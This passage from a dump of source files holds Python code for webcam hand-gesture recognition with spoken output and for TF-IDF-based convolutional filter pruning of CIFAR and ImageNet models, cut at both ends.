of Luck \" and pred_text.isnumeric():\n\t\t\t\t\tif flag['first'] == False:\n\t\t\t\t\t\tif count_same_frames > 15:\n\t\t\t\t\t\t\tcount_same_frames = 0\n\t\t\t\t\t\t\tThread(target=say_text, args=(pred_text,)).start()\n\t\t\t\t\t\t\tfirst += pred_text\n\t\t\t\t\t\t\tcalc_text += pred_text\n\t\t\t\t\telif flag['operator'] == False:\n\t\t\t\t\t\toperator = get_operator(pred_text)\n\t\t\t\t\t\tif count_same_frames > 15:\n\t\t\t\t\t\t\tcount_same_frames = 0\n\t\t\t\t\t\t\tflag['operator'] = True\n\t\t\t\t\t\t\tcalc_text += operator\n\t\t\t\t\t\t\tinfo = \"Enter second number\"\n\t\t\t\t\t\t\tThread(target=say_text, args=(info,)).start()\n\t\t\t\t\t\t\toperator = ''\n\t\t\t\t\telif flag['second'] == False:\n\t\t\t\t\t\tif count_same_frames > 15:\n\t\t\t\t\t\t\tThread(target=say_text, args=(pred_text,)).start()\n\t\t\t\t\t\t\tsecond += pred_text\n\t\t\t\t\t\t\tcalc_text += pred_text\n\t\t\t\t\t\t\tcount_same_frames = 0\t\n\n\t\tif count_clear_frames == 30:\n\t\t\tfirst, second, operator, pred_text, calc_text = '', '', '', '', ''\n\t\t\tflag['first'], flag['operator'], flag['second'], flag['clear'] = False, False, False, False\n\t\t\tinfo = \"Enter first number\"\n\t\t\tThread(target=say_text, args=(info,)).start()\n\t\t\tcount_clear_frames = 0\n\n\t\tblackboard = np.zeros((480, 640, 3), dtype=np.uint8)\n\t\tcv2.putText(blackboard, \"Calculator Mode\", (100, 50), cv2.FONT_HERSHEY_TRIPLEX, 1.5, (255, 0,0))\n\t\tcv2.putText(blackboard, \"Predicted text- \" + pred_text, (30, 100), cv2.FONT_HERSHEY_TRIPLEX, 1, (255, 255, 0))\n\t\tcv2.putText(blackboard, \"Operator \" + operator, (30, 140), cv2.FONT_HERSHEY_TRIPLEX, 1, (255, 255, 127))\n\t\tcv2.putText(blackboard, calc_text, (30, 240), cv2.FONT_HERSHEY_TRIPLEX, 2, (255, 255, 255))\n\t\tcv2.putText(blackboard, info, (30, 440), cv2.FONT_HERSHEY_TRIPLEX, 1, (0, 255, 255) )\n\t\tif is_voice_on:\n\t\t\tcv2.putText(blackboard, \"Voice on\", (450, 440), cv2.FONT_HERSHEY_TRIPLEX, 1, (255, 127, 0))\n\t\telse:\n\t\t\tcv2.putText(blackboard, \"Voice off\", (450, 440), cv2.FONT_HERSHEY_TRIPLEX, 1, (255, 127, 0))\n\t\tcv2.rectangle(img, (x,y), (x+w, y+h), (0,255,0), 2)\n\t\tres = np.hstack((img, blackboard))\n\t\tcv2.imshow(\"Recognizing gesture\", res)\n\t\tcv2.imshow(\"thresh\", thresh)\n\t\tkeypress = cv2.waitKey(1)\n\t\tif keypress == ord('q') or keypress == ord('t'):\n\t\t\tbreak\n\t\tif keypress == ord('v') and is_voice_on:\n\t\t\tis_voice_on = False\n\t\telif keypress == ord('v') and not is_voice_on:\n\t\t\tis_voice_on = True\n\n\tif keypress == ord('t'):\n\t\treturn 1\n\telse:\n\t\treturn 0\n\ndef text_mode(cam):\n\tglobal is_voice_on\n\ttext = \"\"\n\tword = \"\"\n\tcount_same_frame = 0\n\twhile True:\n\t\timg = cam.read()[1]\n\t\timg = cv2.resize(img, (640, 480))\n\t\timg, contours, thresh = get_img_contour_thresh(img)\n\t\told_text = text\n\t\tif len(contours) > 0:\n\t\t\tcontour = max(contours, key = cv2.contourArea)\n\t\t\tif cv2.contourArea(contour) > 10000:\n\t\t\t\ttext = get_pred_from_contour(contour, thresh)\n\t\t\t\tif old_text == text:\n\t\t\t\t\tcount_same_frame += 1\n\t\t\t\telse:\n\t\t\t\t\tcount_same_frame = 0\n\n\t\t\t\tif count_same_frame > 20:\n\t\t\t\t\tif len(text) == 1:\n\t\t\t\t\t\tThread(target=say_text, args=(text, )).start()\n\t\t\t\t\tword = word + text\n\t\t\t\t\tif word.startswith('I/Me '):\n\t\t\t\t\t\tword = word.replace('I/Me ', 'I ')\n\t\t\t\t\telif word.endswith('I/Me '):\n\t\t\t\t\t\tword = word.replace('I/Me ', 'me ')\n\t\t\t\t\tcount_same_frame = 0\n\n\t\t\telif cv2.contourArea(contour) < 1000:\n\t\t\t\tif word != '':\n\t\t\t\t\t#print('yolo')\n\t\t\t\t\t#say_text(text)\n\t\t\t\t\tThread(target=say_text, args=(word, )).start()\n\t\t\t\ttext = \"\"\n\t\t\t\tword = \"\"\n\t\telse:\n\t\t\tif word != '':\n\t\t\t\t#print('yolo1')\n\t\t\t\t#say_text(text)\n\t\t\t\tThread(target=say_text, args=(word, )).start()\n\t\t\ttext = \"\"\n\t\t\tword = \"\"\n\t\tblackboard = np.zeros((480, 640, 3), dtype=np.uint8)\n\t\tcv2.putText(blackboard, \"Text Mode\", (180, 50), cv2.FONT_HERSHEY_TRIPLEX, 1.5, (255, 0,0))\n\t\tcv2.putText(blackboard, \"Predicted text- \" + text, (30, 100), cv2.FONT_HERSHEY_TRIPLEX, 1, (255, 255, 0))\n\t\tcv2.putText(blackboard, word, (30, 240), cv2.FONT_HERSHEY_TRIPLEX, 2, (255, 255, 255))\n\t\tif is_voice_on:\n\t\t\tcv2.putText(blackboard, \"Voice on\", (450, 440), cv2.FONT_HERSHEY_TRIPLEX, 1, (255, 127, 0))\n\t\telse:\n\t\t\tcv2.putText(blackboard, \"Voice off\", (450, 440), cv2.FONT_HERSHEY_TRIPLEX, 1, (255, 127, 0))\n\t\tcv2.rectangle(img, (x,y), (x+w, y+h), (0,255,0), 2)\n\t\tres = np.hstack((img, blackboard))\n\t\tcv2.imshow(\"Recognizing gesture\", res)\n\t\tcv2.imshow(\"thresh\", thresh)\n\t\tkeypress = cv2.waitKey(1)\n\t\tif keypress == ord('q') or keypress == ord('c'):\n\t\t\tbreak\n\t\tif keypress == ord('v') and is_voice_on:\n\t\t\tis_voice_on = False\n\t\telif keypress == ord('v') and not is_voice_on:\n\t\t\tis_voice_on = True\n\n\tif keypress == ord('c'):\n\t\treturn 2\n\telse:\n\t\treturn 0\n\ndef recognize():\n\tcam = cv2.VideoCapture(1)\n\tif cam.read()[0]==False:\n\t\tcam = cv2.VideoCapture(0)\n\ttext = \"\"\n\tword = \"\"\n\tcount_same_frame = 0\n\tkeypress = 1\n\twhile True:\n\t\tif keypress == 1:\n\t\t\tkeypress = text_mode(cam)\n\t\telif keypress == 2:\n\t\t\tkeypress = calculator_mode(cam)\n\t\telse:\n\t\t\tbreak\n\nkeras_predict(model, np.zeros((50, 50), dtype = np.uint8))\t\t\nrecognize()\n", "id": "11341351", "language": "Python", "matching_score": 0, "max_stars_count": 1, "path": "fun_util.py" }, { "content": "import cv2, pickle\nimport numpy as np\nimport tensorflow as tf\nfrom cnn_tf import cnn_model_fn\nimport os\nimport sqlite3\nfrom keras.models import load_model\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\ntf.logging.set_verbosity(tf.logging.ERROR)\nclassifier = tf.estimator.Estimator(model_dir=\"tmp/cnn_model2\", model_fn=cnn_model_fn)\nprediction = None\nmodel = load_model('cnn_model_keras2.h5')\n\ndef get_image_size():\n\timg = cv2.imread('gestures/0/100.jpg', 0)\n\treturn img.shape\n\nimage_x, image_y = get_image_size()\n\ndef tf_process_image(img):\n\timg = cv2.resize(img, (image_x, image_y))\n\timg = np.array(img, dtype=np.float32)\n\tnp_array = np.array(img)\n\treturn np_array\n\ndef tf_predict(classifier, image):\n\t'''\n\tneed help with prediction using tensorflow\n\t'''\n\tglobal prediction\n\tprocessed_array = tf_process_image(image)\n\tpred_input_fn = tf.estimator.inputs.numpy_input_fn(x={\"x\":processed_array}, shuffle=False)\n\tpred = classifier.predict(input_fn=pred_input_fn)\n\tprediction = next(pred)\n\tprint(prediction)\n\ndef keras_process_image(img):\n\timg = cv2.resize(img, (image_x, image_y))\n\timg = np.array(img, dtype=np.float32)\n\timg = np.reshape(img, (1, image_x, image_y, 1))\n\treturn img\n\ndef keras_predict(model, image):\n\tprocessed = keras_process_image(image)\n\tpred_probab = model.predict(processed)[0]\n\tpred_class = list(pred_probab).index(max(pred_probab))\n\treturn max(pred_probab), pred_class\n\ndef get_pred_text_from_db(pred_class):\n\tconn = sqlite3.connect(\"gesture_db.db\")\n\tcmd = \"SELECT g_name FROM gesture WHERE g_id=\"+str(pred_class)\n\tcursor = conn.execute(cmd)\n\tfor row in cursor:\n\t\treturn row[0]\n\ndef split_sentence(text, num_of_words):\n\t'''\n\tSplits a text into group of num_of_words\n\t'''\n\tlist_words = text.split(\" \")\n\tlength = len(list_words)\n\tsplitted_sentence = []\n\tb_index = 0\n\te_index = num_of_words\n\twhile length > 0:\n\t\tpart = \"\"\n\t\tfor word in list_words[b_index:e_index]:\n\t\t\tpart = part + \" \" + word\n\t\tsplitted_sentence.append(part)\n\t\tb_index += num_of_words\n\t\te_index += num_of_words\n\t\tlength -= num_of_words\n\treturn splitted_sentence\n\ndef put_splitted_text_in_blackboard(blackboard, splitted_text):\n\ty = 200\n\tfor text in splitted_text:\n\t\tcv2.putText(blackboard, text, (4, y), cv2.FONT_HERSHEY_TRIPLEX, 2, (255, 255, 255))\n\t\ty += 50\n\ndef get_hand_hist():\n\twith open(\"hist\", \"rb\") as f:\n\t\thist = pickle.load(f)\n\treturn hist\n\ndef recognize():\n\tglobal prediction\n\tcam = cv2.VideoCapture(1)\n\tif cam.read()[0] == False:\n\t\tcam = cv2.VideoCapture(0)\n\thist = get_hand_hist()\n\tx, y, w, h = 300, 100, 300, 300\n\twhile True:\n\t\ttext = \"\"\n\t\timg = cam.read()[1]\n\t\timg = cv2.flip(img, 1)\n\t\timg = cv2.resize(img, (640, 480))\n\t\timgCrop = img[y:y+h, x:x+w]\n\t\timgHSV = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n\t\tdst = cv2.calcBackProject([imgHSV], [0, 1], hist, [0, 180, 0, 256], 1)\n\t\tdisc = cv2.getStructuringElement(cv2.MORPH_ELLIPSE,(10,10))\n\t\tcv2.filter2D(dst,-1,disc,dst)\n\t\tblur = cv2.GaussianBlur(dst, (11,11), 0)\n\t\tblur = cv2.medianBlur(blur, 15)\n\t\tthresh = cv2.threshold(blur,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)[1]\n\t\tthresh = cv2.merge((thresh,thresh,thresh))\n\t\tthresh = cv2.cvtColor(thresh, cv2.COLOR_BGR2GRAY)\n\t\tthresh = thresh[y:y+h, x:x+w]\n\t\t(openCV_ver,_,__) = cv2.__version__.split(\".\")\n\t\tif openCV_ver=='3':\n\t\t\tcontours = cv2.findContours(thresh.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)[1]\n\t\telif openCV_ver=='4':\n\t\t\tcontours = cv2.findContours(thresh.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)[0]\n\t\tif len(contours) > 0:\n\t\t\tcontour = max(contours, key = cv2.contourArea)\n\t\t\t#print(cv2.contourArea(contour))\n\t\t\tif cv2.contourArea(contour) > 10000:\n\t\t\t\tx1, y1, w1, h1 = cv2.boundingRect(contour)\n\t\t\t\tsave_img = thresh[y1:y1+h1, x1:x1+w1]\n\t\t\t\t\n\t\t\t\tif w1 > h1:\n\t\t\t\t\tsave_img = cv2.copyMakeBorder(save_img, int((w1-h1)/2) , int((w1-h1)/2) , 0, 0, cv2.BORDER_CONSTANT, (0, 0, 0))\n\t\t\t\telif h1 > w1:\n\t\t\t\t\tsave_img = cv2.copyMakeBorder(save_img, 0, 0, int((h1-w1)/2) , int((h1-w1)/2) , cv2.BORDER_CONSTANT, (0, 0, 0))\n\t\t\t\t\n\t\t\t\tpred_probab, pred_class = keras_predict(model, save_img)\n\t\t\t\t\n\t\t\t\tif pred_probab*100 > 80:\n\t\t\t\t\ttext = get_pred_text_from_db(pred_class)\n\t\t\t\t\tprint(text)\n\t\tblackboard = np.zeros((480, 640, 3), dtype=np.uint8)\n\t\tsplitted_text = split_sentence(text, 2)\n\t\tput_splitted_text_in_blackboard(blackboard, splitted_text)\n\t\t#cv2.putText(blackboard, text, (30, 200), cv2.FONT_HERSHEY_TRIPLEX, 1.3, (255, 255, 255))\n\t\tcv2.rectangle(img, (x,y), (x+w, y+h), (0,255,0), 2)\n\t\tres = np.hstack((img, blackboard))\n\t\tcv2.imshow(\"Recognizing gesture\", res)\n\t\tcv2.imshow(\"thresh\", thresh)\n\t\tif cv2.waitKey(1) == ord('q'):\n\t\t\tbreak\n\nkeras_predict(model, np.zeros((50, 50), dtype=np.uint8))\t\t\nrecognize()\n", "id": "240375", "language": "Python", "matching_score": 0, "max_stars_count": 1, "path": "recognize_gesture.py" } ]
0
Tianshuo-Xu
[ { "content": "import os\nimport random\nimport argparse\nimport functools\nfrom math import e, log\n\nimport numpy as np\nimport torch\nfrom torch.backends import cudnn\n\nimport torchvision\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import transforms\nfrom nni.algorithms.compression.pytorch.pruning \\\n import L1FilterPruner, L1FilterPrunerMasker\n\nfrom utils.counter import count_flops_params\nfrom utils.train_util import load_model_pytorch, train, test\n\nfrom nets.resnet_cifar import ResNet_CIFAR\nfrom nets.vgg import VGG_CIFAR\nfrom cdp import acculumate_feature, calculate_cdp, \\\n get_threshold_by_flops, get_threshold_by_sparsity, \\\n TFIDFPruner\n\ndef str2bool(s):\n if isinstance(s, bool):\n return s\n if s.lower() in ('yes', 'true', 't', 'y', '1'):\n return True\n if s.lower() in ('no', 'false', 'f', 'n', '0'):\n return False\n raise argparse.ArgumentTypeError('Boolean value expected.')\ndef setup_seed(seed):\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n torch.cuda.manual_seed(seed)\n np.random.seed(seed)\n random.seed(seed)\n cudnn.deterministic = True\n #cudnn.benchmark = False\n #cudnn.enabled = False\n \nparser = argparse.ArgumentParser(description='CDP Pruner')\n\nparser.add_argument('--dataset', type=str, default='cifar10',\n help='cifar10 or imagenet')\n\nparser.add_argument('--model', type=str, default='resnet56',\n help='model to use, only resnet56, resnet20')\nparser.add_argument('--pretrained_dir', type=str, default=None,\n help='pretrained file path')\n# Data setting\n# '/gdata/ImageNet2012/train/'\nparser.add_argument('--dataroot', required=True, metavar='PATH',\n help='Path to Dataset folder')\nparser.add_argument('--batch_size', type=int, default=512,\n help='input batch size for statistics (default: 128)')\nparser.add_argument('--stop_batch', type=int, default=200, help=\"Sample batch number\")\nparser.add_argument('--search_batch_size', type=int, default=10000,\n help='input batch size for search (default: 256)')\nparser.add_argument('--test_batch_size', type=int, default=10000,\n help='input batch size for testing (default: 256)')\n# Environment Setting\nparser.add_argument('--gpus', default=None, help='List of GPUs used for training - e.g 0,1,3')\nparser.add_argument('-j', '--workers', default=8, type=int, metavar='N',\n help='Number of data loading workers (default: 8)')\nparser.add_argument('--seed', type=int, default=0, help='random seed')\n\n# Training Setting\nparser.add_argument('--epochs', type=int, default=300,\n help='epochs to fine tune')\n\n# CDP Setting\nparser.add_argument('--coe', type=int,\n help='whether to use balance coefficient')\nparser.add_argument('--sparsity', type=float, default=0.39,\n help='target overall target sparsity')\n# Saver Setting\nparser.add_argument('--save_acc', type=float, default=94.0,\n help='save accuracy')\nparser.add_argument('--savepath', type=str, default='./ckpt/',\n help='model save directory')\nargs = parser.parse_args()\nprint(args)\n\n#random.seed(args.seed)\n#torch.manual_seed(args.seed)\nsetup_seed(args.seed)\n\nsparsity = args.sparsity\nsave_file = '_'.join([str(args.model),\n 'coe{}'.format(args.coe),\n 'seed{}'.format(args.seed)\n ])\nargs.savepath=os.path.join(args.savepath,args.model)\nsave_info = os.path.join(args.savepath, save_file)\nsave_acc = args.save_acc \n\n\ndef load_model(args):\n if args.model == 'resnet56':\n net = ResNet_CIFAR(depth=56)\n model_path = '../resnet56_base/checkpoint/model_best.pth.tar'\n\n elif args.model == 'resnet20':\n net = ResNet_CIFAR(depth=20)\n model_path = './models/resnet20_base/checkpoint/model_best.pth.tar'\n\n elif args.model == 'vgg':\n net = VGG_CIFAR()\n model_path = './models/vgg_base/checkpoint/model_best.pth.tar'\n else:\n print('no model')\n return\n if args.pretrained_dir:\n model_path = args.pretrained_dir\n\n net = net.cuda()\n load_model_pytorch(net, model_path, args.model)\n return net\n\nmean=[125.31 / 255, 122.95 / 255, 113.87 / 255]\nstd=[63.0 / 255, 62.09 / 255, 66.70 / 255]\ntransform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(mean, std),\n ])\n\ntransform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(mean,std)\n])\ntrainset = torchvision.datasets.CIFAR10(root=args.dataroot, train=True, download=False, transform=transform_train)\ntestset = torchvision.datasets.CIFAR10(root=args.dataroot, train=False, download=False, transform=transform_test)\n\ntrainloader = torch.utils.data.DataLoader(trainset, batch_size=args.batch_size, shuffle=False, num_workers=4)\ntrain_all_loader = torch.utils.data.DataLoader(trainset, batch_size=args.search_batch_size, shuffle=False, num_workers=4)\ntestloader = torch.utils.data.DataLoader(testset, batch_size=args.test_batch_size, shuffle=False, num_workers=4)\n\n\n# load pretrained model\nnet = load_model(args)\nfeature_iit = acculumate_feature(net, train_all_loader, args.stop_batch)\ntf_idf_map = calculate_cdp(feature_iit,args.coe)\nthreshold = get_threshold_by_sparsity(tf_idf_map,sparsity)\n# threshold = get_threshold_by_flops(tf_idf_map,target_reduced_ratio,net)\n\nprint('threshold', threshold)\n\n# pruning \nnet = load_model(args)\nflops, param, detail_flops = count_flops_params(net, (1, 3, 32, 32))\ntest(net, testloader)\ncdp_config={ \"threshold\": threshold, \"map\": tf_idf_map }\nconfig_list = [{\n 'sparsity': sparsity, \n 'op_types': ['Conv2d']\n}]\npruner = TFIDFPruner(net, config_list, cdp_config=cdp_config)\n_ = pruner.compress()\n\nflops, param, detail_flops = count_flops_params(net, (1, 3, 32, 32))\nsave_info += str(flops)[0:4]\nprint(save_info)\n\ntrain(net, epochs=300, lr=0.1, train_loader=trainloader, test_loader=testloader, save_info=save_info, save_acc=save_acc)\n", "id": "11126489", "language": "Python", "matching_score": 3.801081895828247, "max_stars_count": 8, "path": "prune_cifar.py" }, { "content": "import os\nimport sys\nimport copy\nimport random\nimport argparse\nimport functools\nimport numpy as np\nfrom datetime import datetime\n\nimport torch\nimport torchvision\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision import datasets, transforms, models\nfrom nni.algorithms.compression.pytorch.pruning \\\n import L1FilterPruner, L1FilterPrunerMasker\n\nfrom utils.counter import count_flops_params\nfrom utils.train_util import load_model_pytorch\n\nclass TFIDFMasker(L1FilterPrunerMasker):\n def __init__(self, model, pruner, threshold, tf_idf_map, preserve_round=1, dependency_aware=False):\n super().__init__(model, pruner, preserve_round, dependency_aware)\n self.threshold=threshold\n self.tf_idf_map=tf_idf_map\n \n def get_mask(self, base_mask, weight, num_prune, wrapper, wrapper_idx, channel_masks=None):\n # get the l1-norm sum for each filter\n w_tf_idf_structured = self.get_tf_idf_mask(wrapper, wrapper_idx)\n \n mask_weight = torch.gt(w_tf_idf_structured, self.threshold)[\n :, None, None, None].expand_as(weight).type_as(weight)\n mask_bias = torch.gt(w_tf_idf_structured, self.threshold).type_as(\n weight).detach() if base_mask['bias_mask'] is not None else None\n\n return {'weight_mask': mask_weight.detach(), 'bias_mask': mask_bias}\n \n def get_tf_idf_mask(self, wrapper, wrapper_idx):\n name = wrapper.name\n if wrapper.name.split('.')[-1] == 'module':\n name = wrapper.name[0:-7]\n #print(name)\n w_tf_idf_structured = self.tf_idf_map[name]\n return w_tf_idf_structured\n\n\nclass TFIDFPruner(L1FilterPruner):\n def __init__(self, model, config_list, cdp_config:dict, pruning_algorithm='l1', optimizer=None, **algo_kwargs):\n super().__init__(model, config_list, optimizer)\n self.set_wrappers_attribute(\"if_calculated\", False)\n self.masker = TFIDFMasker(model, self, threshold=cdp_config[\"threshold\"], tf_idf_map=cdp_config[\"map\"], **algo_kwargs)\n def update_masker(self,model,threshold,mapper):\n self.masker = TFIDFMasker(model, self, threshold=threshold, tf_idf_map=mapper) \n\ndef acculumate_feature(model, loader, stop:int):\n model=model.cuda()\n features = {}\n \n def hook_func(m, x, y, name, feature_iit):\n #print(name, y.shape)\n f = F.relu(y)\n #f = y\n feature = F.avg_pool2d(f, f.size()[3])\n feature = feature.view(f.size()[0], -1)\n feature = feature.transpose(0, 1)\n if name not in feature_iit:\n feature_iit[name] = feature.cpu()\n else:\n feature_iit[name] = torch.cat([feature_iit[name], feature.cpu()], 1)\n \n hook=functools.partial(hook_func, feature_iit=features)\n \n handler_list=[]\n for name, m in model.named_modules():\n if isinstance(m, nn.Conv2d):\n #if not isinstance(m, nn.Linear):\n handler = m.register_forward_hook(functools.partial(hook, name=name))\n handler_list.append(handler)\n for batch_idx, (inputs, targets) in enumerate(loader):\n if batch_idx % (stop//10) == 0:\n print(batch_idx)\n if batch_idx >= stop:\n break\n model.eval()\n with torch.no_grad():\n model(inputs.cuda())\n \n [ k.remove() for k in handler_list]\n return features\n \ndef calc_tf_idf(feature:dict, name:str, coe:int, tf_idf_map:dict): # feature = [c, n] ([64, 10000]) \n # calc tf\n balance_coe = np.log((feature.shape[0]/coe)*np.e) if coe else 1.0\n # calc idf\n sample_quant = float(feature.shape[1])\n sample_mean = feature.mean(dim=1).view(feature.shape[0], 1)\n sample_inverse = (feature >= sample_mean).sum(dim=1).type(torch.FloatTensor)\n \n # calc tf mean\n feature_sum = feature.sum(dim=0)\n tf = (feature / feature_sum) * balance_coe\n tf_mean = (tf * (feature >= sample_mean)).sum(dim=1) # Sa\n tf_mean /= (feature >= sample_mean).sum(dim=1)\n\n idf = torch.log(sample_quant / (sample_inverse + 1.0))\n \n importance = tf_mean * idf\n tf_idf_map[name] = importance\n\ndef calculate_cdp(features:dict, coe:int):\n tf_idf_map = {}\n for i in features:\n calc_tf_idf(features[i],i, coe=coe, tf_idf_map=tf_idf_map)\n return tf_idf_map\n\ndef get_threshold_by_sparsity(mapper:dict, sparsity:float):\n assert 0<sparsity<1\n tf_idf_array=torch.cat([v for v in mapper.values()],0)\n threshold = torch.topk(tf_idf_array, int(tf_idf_array.shape[0]*(1-sparsity)))[0].min()\n return threshold\n\ndef get_threshold_by_flops(mapper:dict, reduced_ratio:float, rnet):\n pass\n # 二分查找最优阈值\n sparsity=reduced_ratio # use reduced_ratio as init sparsity\n tf_idf_array=torch.cat([v for v in mapper.values()],0)\n threshold = torch.topk(tf_idf_array, int(tf_idf_array.shape[0]*(1-sparsity)))[0].min()\n \n cdp_config={\"threshold\": threshold, \"map\": mapper }\n config_list = [{'sparsity': sparsity,'op_types': ['Conv2d']}]\n\n ratio=0\n upper=tf_idf_array.shape[0]\n mid=int(tf_idf_array.shape[0]*(1-sparsity))\n lower=0\n count=0\n flops_r, param, detail_flops = count_flops_params(rnet, (1, 3, 32, 32))\n\n while(np.abs(ratio-reduced_ratio)> 0.003 and count<4):\n # 只要差距大于 0.5%\n # 如果按sparsity 得到的flops 被压缩率比目标值小 说明保留的filter多 则保留 小侧的区间 \n # 如果按sparsity 得到的flops 被压缩率比目标值大 说明保留的filter少 则保留 大侧的区间\n threshold = torch.topk(tf_idf_array, mid)[0].min()\n net=copy.deepcopy(rnet)\n pruner = TFIDFPruner(net, config_list, {\"threshold\": threshold, \"map\": mapper })\n _ = pruner.compress()\n flops, param, detail_flops = count_flops_params(net, (1, 3, 32, 32),verbose=False)\n ratio=(flops_r-flops)/flops_r\n if(ratio < reduced_ratio):\n upper=mid\n else:\n lower=mid\n mid=(upper+lower)//2\n count+=1\n print(\"Cutter Flops is: \",flops)\n print(\"Rate is: \",ratio)\n return threshold", "id": "7144447", "language": "Python", "matching_score": 1.235486388206482, "max_stars_count": 8, "path": "cdp.py" }, { "content": "import os\nimport sys\nimport csv\nimport random\nimport argparse\n\nfrom datetime import datetime\n\nimport torch\nimport torch.backends.cudnn as cudnn\nimport torch.nn.parallel\nimport torch.utils.data\n\nimport torch.optim as optim\nfrom torch.optim.lr_scheduler import MultiStepLR\nfrom torchvision import models\n\nfrom nni.algorithms.compression.pytorch.pruning import L1FilterPruner\n\nfrom clr import CyclicLR\nfrom data import get_loaders\nfrom logger import CsvLogger\nfrom utils.counter_imagenet import count_flops_params\nfrom utils.train_util import load_model_pytorch, LabelSmoothCELoss\nfrom nets.resnet_imagenet import ResNet_ImageNet\nfrom nets.mobilenet_imagenet import MobileNetV2\n\nfrom run import train, test, save_checkpoint, find_bounds_clr\n\n# Warmup\nfrom utils.scheduler import linear_warmup_scheduler\n\n\nparser = argparse.ArgumentParser(description=' Models training with PyTorch ImageNet')\nparser.add_argument('--dataroot', required=True, metavar='PATH',\n help='Path to ImageNet train and val folders')\nparser.add_argument('--model', type=str, default='resnet50', help='model name')\nparser.add_argument('--gpus', default=None, help='List of GPUs used for training - e.g 0,1,3')\nparser.add_argument('-j', '--workers', default=4, type=int, metavar='N',\n help='Number of data loading workers (default: 4)')\nparser.add_argument('--type', default='float32', help='Type of tensor: float32, float16, float64. Default: float32')\n\n# Optimization options\nparser.add_argument('--epochs', type=int, default=120, help='Number of epochs to train.')\nparser.add_argument('-b', '--batch-size', default=128, type=int, metavar='N', help='mini-batch size (default: 64)')\nparser.add_argument('--learning_rate', '-lr', type=float, default=0.1, help='The learning rate.')\nparser.add_argument('--momentum', '-m', type=float, default=0.9, help='Momentum.')\nparser.add_argument('--decay', '-d', type=float, default=1e-5, help='Weight decay (L2 penalty).')\nparser.add_argument('--gamma', type=float, default=0.1, help='LR is multiplied by gamma at scheduled epochs.')\nparser.add_argument('--schedule', type=int, nargs='+', default=[200, 300],\n help='Decrease learning rate at these epochs.')\n\n# CLR\nparser.add_argument('--clr', dest='clr', action='store_true', help='Use CLR')\nparser.add_argument('--min-lr', type=float, default=1e-5, help='Minimal LR for CLR.')\nparser.add_argument('--max-lr', type=float, default=1, help='Maximal LR for CLR.')\nparser.add_argument('--epochs-per-step', type=int, default=20,\n help='Number of epochs per step in CLR, recommended to be between 2 and 10.')\nparser.add_argument('--mode', default='triangular2', help='CLR mode. One of {triangular, triangular2, exp_range}')\nparser.add_argument('--find-clr', dest='find_clr', action='store_true',\n help='Run search for optimal LR in range (min_lr, max_lr)')\n\n# Checkpoints\nparser.add_argument('-e', '--evaluate', dest='evaluate', action='store_true', help='Just evaluate model')\nparser.add_argument('--make-mask', action='store_true', help='Make mask')\n# parser.add_argument('--save', '-s', type=str, default='./ckpt', help='Folder to save checkpoints.') ## GAI\nparser.add_argument('--results_dir', metavar='RESULTS_DIR', default='./results', help='Directory to store results') ## GAI\nparser.add_argument('--resume', default='', type=str, metavar='PATH', help='path to latest checkpoint (default: none)')\nparser.add_argument('--start-epoch', default=0, type=int, metavar='N', help='manual epoch number (useful on restarts)')\nparser.add_argument('--log-interval', type=int, default=100, metavar='N', help='Number of batches between log messages')\nparser.add_argument('--seed', type=int, default=None, metavar='S', help='random seed (default: 1)')\n\n# Architecture\nparser.add_argument('--scaling', type=float, default=1, metavar='SC', help='Scaling of MobileNet (default x1).')\nparser.add_argument('--input-size', type=int, default=224, metavar='I',\n help='Input size of MobileNet, multiple of 32 (default 224).')\n# Warmup\nparser.add_argument('--warmup', type=int, default=0, help='Warm up epochs.')\nparser.add_argument('--warm_lr', type=float, default=10e-5, help='Warm up learning rate.')\n\n# Label Smoothing\nparser.add_argument('--label-smoothing', type=float, default=0.0, help='Label smoothing rate.')\n\n\ndef main():\n args = parser.parse_args()\n print(args)\n if args.seed is None:\n args.seed = random.randint(1, 10000)\n print(\"Random Seed: \", args.seed)\n random.seed(args.seed)\n torch.manual_seed(args.seed)\n if args.gpus:\n torch.cuda.manual_seed_all(args.seed)\n\n time_stamp = datetime.now().strftime('%Y-%m-%d_%H-%M-%S')\n if args.evaluate:\n args.results_dir = '/tmp'\n # if args.save is '':\n # args.save = time_stamp\n save_path = os.path.join(args.results_dir, time_stamp)\n if not os.path.exists(save_path):\n os.makedirs(save_path)\n\n if args.gpus is not None:\n args.gpus = [int(i) for i in args.gpus.split(',')]\n device = 'cuda:' + str(args.gpus[0])\n cudnn.benchmark = True\n else:\n device = 'cpu'\n\n if args.type == 'float64':\n dtype = torch.float64\n elif args.type == 'float32':\n dtype = torch.float32\n elif args.type == 'float16':\n dtype = torch.float16\n else:\n raise ValueError('Wrong type!') # TODO int8\n\n #model = MobileNetV2()\n if args.model == 'resnet18':\n model = models.resnet18()\n elif args.model == 'resnet50':\n model = ResNet_ImageNet(depth=50)\n elif args.model == 'mobilenetv2':\n model = MobileNetV2()\n else:\n print('No Model Implementation')\n return \n \n model = model.cuda()\n _, _, _ = count_flops_params(model, (1, 3, 224, 224))\n \n if args.make_mask:\n # masking\n print('masking')\n config_list = [{\n 'sparsity': 0.5, \n 'op_types': ['Conv2d']\n }]\n # Act like a placeholder. \n # After pruned, NNI pruner layer will be inserted into model\n # Prepare for loading\n pruner = L1FilterPruner(model, config_list)\n _ = pruner.compress()\n \n if args.resume:\n load_model_pytorch(model, args.resume, args.model)\n _, _, _ = count_flops_params(model, (1, 3, 224, 224))\n\n train_loader, val_loader = get_loaders(args.dataroot, args.batch_size, args.batch_size, args.input_size,\n args.workers)\n # define loss function (criterion) and optimizer\n criterion = LabelSmoothCELoss(args.label_smoothing)\n \n if args.gpus is not None:\n model = torch.nn.DataParallel(model, args.gpus)\n model.to(device=device, dtype=dtype)\n criterion.to(device=device, dtype=dtype)\n\n optimizer = optim.SGD(model.parameters(), args.learning_rate, momentum=args.momentum, weight_decay=args.decay,\n nesterov=True)\n \n if args.evaluate:\n loss, top1, top5 = 